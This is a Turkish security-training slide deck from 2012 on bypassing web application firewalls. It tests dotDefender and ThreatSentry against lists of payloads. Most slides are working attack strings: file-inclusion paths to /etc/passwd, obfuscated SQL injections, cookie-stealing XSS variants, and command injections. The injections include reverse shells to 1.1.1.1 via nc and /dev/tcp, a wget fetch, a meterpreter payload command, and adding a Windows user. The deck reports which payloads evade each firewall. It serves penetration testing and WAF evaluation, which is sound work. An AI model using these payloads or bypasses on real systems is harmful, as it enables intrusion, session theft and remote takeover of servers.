You are on page 1of 62

(W)eb (A)pplication (F)irewall

Bypass
http://www.bga.com.tr
bilgi@bga.com.tr

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Hakkımda
• Mehmet Dursun İnce ( @mmetince )

• Penetration Tester @BGA


• Vuln. Researcher @BGA

• mehmet.ince@bga.com.tr

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


WAF Nedir ?
• WAF nedir ?
Pentester

WAF + Web Sunucusu

Veri Tabanı Sistemi

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Testler
• SQLi
• XSS
• LFI
• RCE
– Command Injection
– Code Execution

• Otomatize Tool’lar ve WAF.

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


DMZ

dotDefender MySQL
CentOS 5.x Centos 5.x

Pentester ModSecurity
CentOS 5.x

ThreadSentry Sql Server 2008


Windows Server 2003 Windows Server 2008

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Payloads # File Inclusion
• ../
• ..%2F
• passwd
• ../config.php
• ..%2Fconfig.php
• /etc/passwd
• ../../../../../../../../../etc/passwd
• ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc..%
2Fpasswd
• php://filter/read=convert.base64-
encode/resource=[FILE]

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Payloads # SQL Injection
• ‘a
• ' and '3'='3
• ‘ ) and ('1')=('1
• or 1=1
• and 1=1
• and 2>=1
• and 1924-23>=1920

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Payloads # MySQL Injection
• and substring(@@version,1,1)>0
• and substring(version(),1,1)>0
• and SubsTRing(version(),1,1)>0
• union select 192,282,333—
• And sleep(5)
• union+select+null%2Cnull%2CLOAD_FILE('lfi.php'
)--
• /*!UniOn*/%20/*!SElecT*/+192,282,333--
• %23PTTmJopxdWJ%0AUNION%23PTTmJopxdWJ%
0ASeLEcT+null,null,version()--
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
Payloads # MsSQL Injection
• AND
UNICODE(SUBSTRING(@@SERVERNAME,1,1)) > 1
• %03AND%0CUNICODE%03(%03SUBSTRING%03(
%03@@SERVERNAME%03,%031,1%03))%03>%0
31
• %0DUNION%0DALL%0DSELECTNULL,NULL,@@SE
RVERNAME--
• IF(BINARY_CHECKSUM(7399)=BINARY_CHECKSU
M(7399)) WAITFOR DELAY '0:0:5';

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Payloads # XSS
• <script>
• <script></script>
• javascript
• alert(1)
• prompt(1)
• alert(/BGA/)
• document.cookie
• <img srx=x:X onErroR=PromPt(document.cookie)//>
• <link rel=stylesheet
href=data:,*%7bx:expression(write(1))%7d

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Payloads # XSS
• <input onfocus=write(1) autofocus>
• <video
onerror="javascript:alert(1)"><source></source></video>
• <body oninput=alert(1)><input autofocus>
• <frameset onload=alert(1)>
• <object
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKT
wvc2NyaXB0Pg=="></object>
• <embed
src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwv
c2NyaXB0Pg=="></embed>
• <script>({})[$='\143\157\156\163\164\162\165\143\164\1
57\162'][$]('\141\154\145\162\164\50document.cookie\5
1')()</script>
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
Payloads # Command Injection

• 8.8.8.8 ; cat /etc/passwd


• 8.8.8.8 ; echo “selam” > a
• 8.8.8.8 ; cat ../config.php
• 8.8.8.8 && echo “selam” > a
• 8.8.8.8 && cat ../config.php
• 8.8.8.8 ; wget 1.1.1.1/mince.txt

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Payloads # Command Injection

• 8.8.8.8 && telnet 127.0.0.1 4444 | /bin/bash


|telnet | telnet 127.0.0.1 8888

• 8.8.8.8 && mknod backpipe p && nc 1.1.1.1 4343


0<backpipe | /bin/bash 1>backpipe

• 8.8.8.8 && /bin/bash -i > /dev/tcp/1.1.1.1/4444


0<&1 2>&1

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Payloads # Code Execution
• ./msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443
R | ./msfencode -e php/base64 -t raw

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Applicure dotDefender

• «dotDefender is the perfect choice for


protecting your website and web applications
today.»

• http://www.applicure.com/

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Applicure dotDefender

• Test Ortamı:
• CentOS 5.8 i386 sanal makine
• CentOS Full update
• Lisanslı dotDefender ve full update!

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Applicure dotDefender – File Inclusion

• Input : ../config.php

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Applicure dotDefender – File Inclusion

• Input : /etc/passwd

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Applicure dotDefender – File Inclusion

• Input : ../../../../../../../../../etc/passwd
• WAF detected!
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
Applicure dotDefender – File Inclusion

Saldırıyı engelleyen
kural.

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Applicure dotDefender – File Inclusion

• Input : php://filter/read=convert.base64-
encode/resource=/etc/passwd
• WAF trigger edilmedi

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Applicure dotDefender – SQL Injection
• ‘a
• ' and '3'='3
Yeşil olan payload’lar WAF
• (‘ and ('1')=('1 tarafından engellenmeyen talepleri
ifade etmektedir!
• or 1=1
• and 1=1
• and 2>=1
• and 1924-23>=1920

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Applicure dotDefender – MySQL Injection
• and substring(@@version,1,1)>0
• and substring(version(),1,1)>0
• and SubsTRing(version(),1,1)>0
• union select 1,2,3--
• union select 192,282,333
• And sleep(5)
• union+select+null%2Cnull%2CLOAD_FILE('lfi.php
')--
• /*!UniOn*/%20/*!SElecT*/+192,282,333--
• %23PTTmJopxdWJ%0AUNION%23PTTmJopxdWJ
%0ASeLEcT+3,null,version()

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Applicure dotDefender – MsSQL Injection
• AND
UNICODE(SUBSTRING(@@SERVERNAME,1,1))
>1
• %03AND%0CUNICODE%03(%03SUBSTRING%0
3(%03@@SERVERNAME%03,%031,1%03))%0
3>%031
• %0DUNION%0DALL%0DSELECT%0DNULL,NUL
L,@@SERVERNAME
• IF(BINARY_CHECKSUM(7399)=BINARY_CHECK
SUM(7399)) WAITFOR DELAY '0:0:5';
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
Applicure dotDefender – MsSQL Injection

• Input =
UNION%0DALL%0DSELECT%0DNULL,NULL,@
@SERVERNAME
• WIN-UYB0EA2LDB6
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
Applicure dotDefender – XSS

• Input = <script>
• Waf Blocked!

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Applicure dotDefender – XSS

• Input = alert()
• Waf Blocked!
• Input = prompt() 
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
Applicure dotDefender – XSS

• Input = <img src=bga


onerror=prompt(document.cookie)//>

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Applicure dotDefender – XSS
• <img src=x:x
onerror=prompt(document.cookie)//>
• <link rel=stylesheet
href=data:,*%7bx:expression(write(1))%7d
• <input onfocus=write(1) autofocus>
• <video
onerror="javascript:alert(1)"><source></sourc
e></video>
• <body oninput=prompt(1)><input autofocus>
• <frameset onload=prompt(1)>
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
Applicure dotDefender – XSS
• <object
data="data:text/html;base64,PHNjcmlwdD5hb
GVydCgxKTwvc2NyaXB0Pg=="></object>
• <embed
src="data:text/html;base64,PHNjcmlwdD5hbG
VydCgxKTwvc2NyaXB0Pg=="></embed>
• ({})[$='\143\157\156\163\164\162\165\143\
164\157\162'][$]('\141\154\145\162\164\50
document.cookie\51')()

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Applicure dotDefender – Command Inj.

• Input = 8.8.8.8 ; cat /etc/passwd


WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
Applicure dotDefender – Command Inj.

• Input = 8.8.8.8 && /bin/bash -i >


/dev/tcp/1.1.1.1/4545 0<&1 2>&1
• WAF bypass!
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
Applicure dotDefender – Command Inj.
• 8.8.8.8 ; cat /etc/passwd
• 8.8.8.8 ; echo “selam” > a
• 8.8.8.8 ; cat ../config.php
• 8.8.8.8 && echo “selam” > a
• 8.8.8.8 && cat ../config.php
• 8.8.8.8 ; wget 1.1.1.1/mince.txt

• 8.8.8.8 && telnet 127.0.0.1 4444 | /bin/bash |telnet |


telnet 127.0.0.1 8888

• 8.8.8.8 && mknod backpipe p && nc 1.1.1.1 4343


0<backpipe | /bin/bash 1>backpipe

• 8.8.8.8 && /bin/bash -i > /dev/tcp/1.1.1.1/8888 0<&1 2>&1


WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
App. dotDefender – HTTP Header

• HTTP Header ile gönderilen bilgilerin WAF


tarafından incelenip incelenmediği test
edilmiştir.
• User-Agent
• Cookie
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
App. dotDefender – HTTP Header XSS

• User-Agent’i boş olan talepleri, dotDefender


saldırı olarak algılamaktadır.

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


App. dotDefender – HTTP Header XSS

• Cookie değişkeni dotDefender tarafından takip


edilmemektedir!
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
App. dotDefender – Cookie SQL Inj.
• dotDefender Cookie değişkeni üzerinde bir
inceleme yapmamaktadır. Bu nedenle cookie
üzerinden SQL Injection saldırıları kolaylıkla
gerçekleştirilebilir.

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


App. dotDefender – Web Scanners

• Default kurulumda Saniyede 200 talebi aşan


ip’leri 10 dakikalığına banlanmaktadır.

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


App. dotDefender – Netsparker

• Acunetix tüm zafiyetleri başarı ile tespit


etmiştir.

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


App. dotDefender – Acunetix

• Netsparker mssql.php üzerinde bulunan


MsSQL Injection zafiyeti haricinde ki tüm
zafiyetleri başarı ile tespit edebilmiştir.
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
Web Application Firewall & Intrusion Prevention Software for IIS

• ThreatSentry

• http://www.privacyware.com/intrusion_preve
ntion.html

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


ThreatSentry

• Test Ortamı:
• Windows Server 2003 32bit sanal makine
• Full Windows update
• Tüm özellikleri aktif, 30 günlük test sürümü.

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


ThreatSentry – File Inclusion

• Input : ../config.php

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


ThreatSentry – File Inclusion

• Input : ../../../../../../../../../
• WAF tespit edemedi.

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


ThreatSentry – File Inclusion

• Input : php://filter/read=convert.base64-
encode/resource=/etc/passwd
• WAF blocked!

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


ThreatSentry – SQL Injection
• ‘a
• ' and '3'='3
Yeşil olan payload’lar WAF
• (‘ and ('1')=('1 tarafından engellenmeyen talepleri
ifade etmektedir!
• or 1=1
• and 1=1
• and 2>=1
• and 1924-23>=1920

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


ThreatSentry – MySQL Injection
• and substring(@@version,1,1)>0
• and substring(version(),1,1)>0
• and SubsTRing(version(),1,1)>0
• union select 1,2,3--
• And sleep(5)
• union+select+null%2Cnull%2CLOAD_FILE('lfi.
php')--
• /*!UniOn*/%20/*!SElecT*/+192,282,333
• %23PTTmJopxdWJ%0AUNION%23PTTmJopxd
WJ%0ASeLEcT+3,null,version()
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
ThreatSentry – MsSQL Injection
• AND UNICODE(SUBSTRING(DB_NAME(),1,1)) >
1
• %03AND%0CUNICODE%03(%03SUBSTRING%0
3(%03DB_NAME()%03,%031,1%03))%03>%03
1
• %0DUNION%0DALL%0DSELECT%0DNULL,NUL
L,DB_NAME()
• IF(BINARY_CHECKSUM(7399)=BINARY_CHECK
SUM(7399)) WAITFOR DELAY '0:0:5';

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


ThreatSentry – MsSQL Injection

• Input =
UNION%0DALL%0DSELECT%0DNULL,NULL,DB
_NAME()
• waftest
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
ThreatSentry – XSS

• Input = <script>
• Waf Blocked!

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


ThreatSentry– XSS

• Input = <img src=x:x


onerror=prompt(document.cookie)//>

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


ThreatSentry– XSS
• A

• Input = <body
oninput=prompt(document.cookie)><input
autofocus>
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
ThreatSentry – XSS
• <img src=x:x
onerror=prompt(document.cookie)//>
• <link rel=stylesheet
href=data:,*%7bx:expression(write(1))%7d
• <input onfocus=write(1) autofocus>
• <video
onerror="javascript:alert(1)"><source></sourc
e></video>
• <body oninput=prompt(1)><input autofocus>
• <frameset onload=prompt(1)>
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
ThreatSentry – XSS
• <object
data="data:text/html;base64,PHNjcmlwdD5hb
GVydCgxKTwvc2NyaXB0Pg=="></object>
• <embed
src="data:text/html;base64,PHNjcmlwdD5hbG
VydCgxKTwvc2NyaXB0Pg=="></embed>
• ({})[$='\143\157\156\163\164\162\165\143\
164\157\162'][$]('\141\154\145\162\164\50
document.cookie\51')()

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


ThreatSentry – Command Inj.

• Cmd.exe /C dir
• nc.exe 123.123.123.123
• net user mince M1nc3 /add

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


ThreatSentry– HTTP Header XSS

• User-Agent değişkeni ThreatSentry tarafından


takip edilmemektedir!
WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr
ThreatSentry– Netsparker

• Netsparker tüm zafiyetleri başarı ile tespit


etmiştir.

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


ThreatSentry– Acunetix

• Acunetix tüm zafiyetleri başarı ile tespit


etmiştir.

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Örnek Uygulama - 1

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


HTTP PARAMETER POLLUTION

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Örnek Uygulama - 2

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr


Teşekkürler
• 

WAF Bypass © 2012 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

You might also like